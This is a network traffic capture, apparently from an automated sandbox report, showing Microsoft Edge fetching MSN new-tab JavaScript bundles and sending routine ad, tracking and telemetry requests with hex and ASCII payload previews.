24	192.168.2.4	49798	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:20 UTC	629	OUT	GET /bundles/v1/edgeChromium/latest/topicData.2b96ade0ff66928c1ebb.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:20 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: xfr6wiu4xwzwSZ7kLo6nvA== Last-Modified: Wed, 17 Apr 2024 19:30:48 GMT ETag: 0x8DC5F14E2679608 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: dcc54ece-501e-0002-69fd-903cba000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:20 GMT Content-Length: 12847 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402745172,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016754 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906140.18016754 Vary: Origin
2024-04-23 21:02:20 UTC	12847	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 74 6f 70 69 63 44 61 74 61 22 5d 2c 7b 33 39 39 39 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 69 29 7b 69 2e 72 28 65 29 2c 69 2e 64 28 65 2c 7b 46 65 65 64 54 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 2e 75 7d 2c 46 6f 6c 6c 6f 77 53 74 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 2e 74 7d 2c 49 6e 74 65 72 65 73 74 73 53 65 61 72 63 68 53 65 72 76 69 63 65 43 6c 69 Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["topicData"],{3999:function(t,e,i){i.r(e),i.d(e,{FeedType:function(){return o.u},FollowState:function(){return a.t},InterestsSearchServiceCli

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49800	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:20 UTC	642	OUT	GET /bundles/v1/edgeChromium/latest/channel-data-connector.02a4c4f575b24365379f.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:20 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: YcQ8oKvuJs3o3yfD36WSiw== Last-Modified: Wed, 17 Apr 2024 19:30:49 GMT ETag: 0x8DC5F14E31E0AD3 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 55a5dce5-a01e-0039-4ffd-9038bc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:20 GMT Content-Length: 16548 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402745160,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016748 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906140.18016748 Vary: Origin
2024-04-23 21:02:20 UTC	15230	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 68 61 6e 6e 65 6c 2d 64 61 74 61 2d 63 6f 6e 6e 65 63 74 6f 72 22 5d 2c 7b 34 35 35 30 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 74 2e 64 28 6e 2c 7b 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 7d 29 3b 76 61 72 20 73 3d 74 28 39 33 35 39 30 29 2c 6f 3d 74 28 37 38 36 37 32 29 3b 63 6f 6e 73 74 20 6c 3d 2f 5b 3a 2f 3f 23 5b 5c 5d 40 21 24 26 27 28 29 2a 2b 2c 3b 3d 5d 2f 67 3b 66 Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["channel-data-connector"],{45508:function(e,n,t){t.d(n,{t:function(){return i}});var s=t(93590),o=t(78672);const l=/[:/?#[\]@!$&'()*+,;=]/g;f
2024-04-23 21:02:20 UTC	1318	IN	Data Raw: 73 69 74 69 6f 6e 3a 74 2c 63 68 61 6e 6e 65 6c 3a 65 3d 2d 31 3d 3d 3d 74 3f 65 3a 6e 5b 74 5d 7d 7d 67 65 74 46 6f 6c 6c 6f 77 65 64 43 68 61 6e 6e 65 6c 50 6f 73 69 74 69 6f 6e 41 6e 64 44 61 74 61 28 65 29 7b 63 6f 6e 73 74 20 6e 3d 74 68 69 73 2e 67 65 74 43 75 72 72 65 6e 74 53 74 61 74 65 28 29 2e 72 65 63 6f 6d 6d 65 6e 64 65 64 43 68 61 6e 6e 65 6c 73 2c 74 3d 6e 2e 66 69 6e 64 49 6e 64 65 78 28 28 6e 3d 3e 6e 2e 69 64 3d 3d 3d 65 2e 69 64 29 29 3b 72 65 74 75 72 6e 7b 63 68 61 6e 6e 65 6c 50 6f 73 69 74 69 6f 6e 3a 74 2c 63 68 61 6e 6e 65 6c 3a 65 3d 2d 31 3d 3d 3d 74 3f 65 3a 6e 5b 74 5d 7d 7d 7d 76 61 72 20 77 3d 74 28 39 39 35 35 31 29 2c 67 3d 74 28 35 32 39 36 35 29 3b 63 6f 6e 73 74 20 53 3d 7b 66 6f 6c 6c 6f 77 65 64 43 68 61 6e 6e 65 6c Data Ascii: sition:t,channel:e=-1===t?e:n[t]}}getFollowedChannelPositionAndData(e){const n=this.getCurrentState().recommendedChannels,t=n.findIndex((n=>n.id===e.id));return{channelPosition:t,channel:e=-1===t?e:n[t]}}}var w=t(99551),g=t(52965);const S={followedChannel

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49799	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:20 UTC	647	OUT	GET /bundles/v1/edgeChromium/latest/nurturing-placement-manager.5ea7db000698f8928d23.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:20 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: Lnllx5EINeFj4P2Pp26Kvw== Last-Modified: Wed, 17 Apr 2024 19:30:51 GMT ETag: 0x8DC5F14E4158540 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 0153f178-501e-006a-33fd-902689000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:20 GMT Content-Length: 35840 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402745167,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 1801674f Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906140.1801674f Vary: Origin
2024-04-23 21:02:20 UTC	15230	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6e 75 72 74 75 72 69 6e 67 2d 70 6c 61 63 65 6d 65 6e 74 2d 6d 61 6e 61 67 65 72 22 5d 2c 7b 33 37 38 39 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 61 2e 64 28 74 2c 7b 53 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 7d 7d 29 3b 76 61 72 20 6e 3d 61 28 32 33 35 34 39 29 2c 72 3d 61 28 38 37 31 37 32 29 2c 69 3d 61 28 37 34 31 36 31 29 2c 6f 3d 61 28 37 35 31 32 30 29 2c 73 3d 61 28 35 35 35 Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["nurturing-placement-manager"],{37897:function(e,t,a){a.d(t,{S:function(){return d}});var n=a(23549),r=a(87172),i=a(74161),o=a(75120),s=a(555
2024-04-23 21:02:20 UTC	9346	IN	Data Raw: 6f 6e 73 74 72 75 63 74 6f 72 28 65 29 7b 74 68 69 73 2e 5f 72 65 73 74 6f 72 65 4c 65 67 61 63 79 49 6e 74 65 72 61 63 74 69 6f 6e 46 6f 72 43 6f 61 63 68 4d 61 72 6b 4b 65 79 73 3d 65 7d 61 73 79 6e 63 20 72 65 73 74 6f 72 65 41 6e 64 4d 65 72 67 65 4c 65 67 61 63 79 49 6e 74 65 72 61 63 74 69 6f 6e 73 28 65 29 7b 63 6f 6e 73 74 20 74 3d 61 77 61 69 74 20 74 68 69 73 2e 72 65 73 74 6f 72 65 4c 65 67 61 63 79 49 6e 74 65 72 61 63 74 69 6f 6e 73 28 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 6d 65 72 67 65 49 6e 74 65 72 61 63 74 69 6f 6e 73 44 61 74 61 28 65 2c 74 29 7d 6d 65 72 67 65 49 6e 74 65 72 61 63 74 69 6f 6e 73 44 61 74 61 28 65 2c 74 29 7b 69 66 28 21 74 7c 7c 21 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e Data Ascii: onstructor(e){this._restoreLegacyInteractionForCoachMarkKeys=e}async restoreAndMergeLegacyInteractions(e){const t=await this.restoreLegacyInteractions();return this.mergeInteractionsData(e,t)}mergeInteractionsData(e,t){if(!t\|\|!Object.keys(t).length)return
2024-04-23 21:02:20 UTC	11264	IN	Data Raw: 2c 64 69 73 61 62 6c 65 50 6f 69 6e 74 65 72 3a 22 74 72 75 65 22 2c 6d 61 69 6e 49 6d 61 67 65 3a 22 68 74 74 70 73 3a 2f 2f 69 6d 67 2d 70 72 6f 64 2d 63 6d 73 2d 72 74 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 2e 61 6b 61 6d 61 69 7a 65 64 2e 6e 65 74 2f 63 6d 73 2f 61 70 69 2f 61 6d 2f 69 6d 61 67 65 46 69 6c 65 44 61 74 61 2f 52 45 35 33 30 30 57 3f 76 65 72 3d 32 39 62 33 22 7d 5d 2c 66 72 65 71 75 65 6e 63 79 3a 22 31 22 2c 66 72 65 71 75 65 6e 63 79 49 6e 74 65 72 76 61 6c 3a 22 31 34 22 2c 69 73 45 63 73 45 78 70 65 72 69 6d 65 6e 74 3a 22 66 61 6c 73 65 22 7d 2c 63 72 65 61 74 69 76 65 49 64 3a 22 31 32 38 30 30 30 30 30 30 30 30 33 35 39 35 31 34 39 22 2c 74 65 6c 65 6d 65 74 72 79 3a 7b 69 6d 70 72 65 73 73 69 6f 6e 55 72 6c 3a 22 68 74 74 70 Data Ascii: ,disablePointer:"true",mainImage:"https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE5300W?ver=29b3"}],frequency:"1",frequencyInterval:"14",isEcsExperiment:"false"},creativeId:"128000000003595149",telemetry:{impressionUrl:"http

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49779	13.107.21.237	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:20 UTC	1269	OUT	GET /c.gif?rnd=1713906139241&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e77229bad79f43ca83b8b957c0f02b66&activityId=e77229bad79f43ca83b8b957c0f02b66&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=59892F5548B8410F875CC582C027017F&RedC=c.msn.com&MXFR=09C025F5A71D6FE2180F319FA60A6E8D HTTP/1.1 Host: c.bing.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-MS-GEC: AA3F3A36179501D1BB719097791ED2061AD744BADEDF443DFF44FDF5C2CE7FF5 Sec-MS-GEC-Version: 1-117.0.2045.47 Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:21 UTC	1702	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.msn.com/c.gif?rnd=1713906139241&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e77229bad79f43ca83b8b957c0f02b66&activityId=e77229bad79f43ca83b8b957c0f02b66&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=59892F5548B8410F875CC582C027017F&MUID=09C025F5A71D6FE2180F319FA60A6E8D P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: MUID=09C025F5A71D6FE2180F319FA60A6E8D; domain=.bing.com; expires=Sun, 18-May-2025 21:02:20 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=c.bing.com; expires=Tue, 30-Apr-2024 21:02:20 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_B=09C025F5A71D6FE2180F319FA60A6E8D; domain=c.bing.com; expires=Sun, 18-May-2025 21:02:20 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_M=09C025F5A71D6FE2180F319FA60A6E8D; domain=c.bing.com; expires=Sun, 18-May-2025 21:02:20 GMT; path=/; SameSite=None; Secure; X-Powered-By: ASP.NET X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: A383A4F1FD39493FB620529543052594 Ref B: ATL331000108053 Ref C: 2024-04-23T21:02:20Z Date: Tue, 23 Apr 2024 21:02:20 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49807	3.163.101.92	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:20 UTC	1051	OUT	GET /b2?rn=1713906139242&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09C025F5A71D6FE2180F319FA60A6E8D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=132ee5f1be77e922e6653ec1713906140; PID=123ee5f1be931922e66559f1713906140; XID=132ee5f1be77e922e6653ec1713906140
2024-04-23 21:02:21 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Tue, 23 Apr 2024 21:02:21 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 c95c58c776c7077b19a10e3445dd9bb6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL58-P8 X-Amz-Cf-Id: jnbjG1d1ZEiLocTQg2uIgkah0GFPFdzpqRWrlH_FvNrFQstPN64nWw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49806	23.101.168.44	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=09C025F5A71D6FE2180F319FA60A6E8D&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=8684241135348538038&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=1124273d17bd4f5db59c2e1a7b4e70fe HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1
2024-04-23 21:02:21 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 23 Apr 2024 21:02:20 GMT Connection: close
2024-04-23 21:02:21 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49805	104.208.16.92	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1713906139238&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3316 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1
2024-04-23 21:02:21 UTC	3316	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 30 34 2d 32 33 54 32 31 3a 30 32 3a 31 39 2e 32 33 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 66 30 33 61 63 66 62 62 2d 32 63 36 30 2d 34 39 63 61 2d 38 61 64 35 2d 36 35 31 62 30 33 36 61 62 35 30 61 22 2c 22 65 70 6f 63 68 22 3a 22 32 33 31 34 30 38 36 31 35 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-04-23T21:02:19.233Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"f03acfbb-2c60-49ca-8ad5-651b036ab50a","epoch":"2314086152"},"app":{"locale
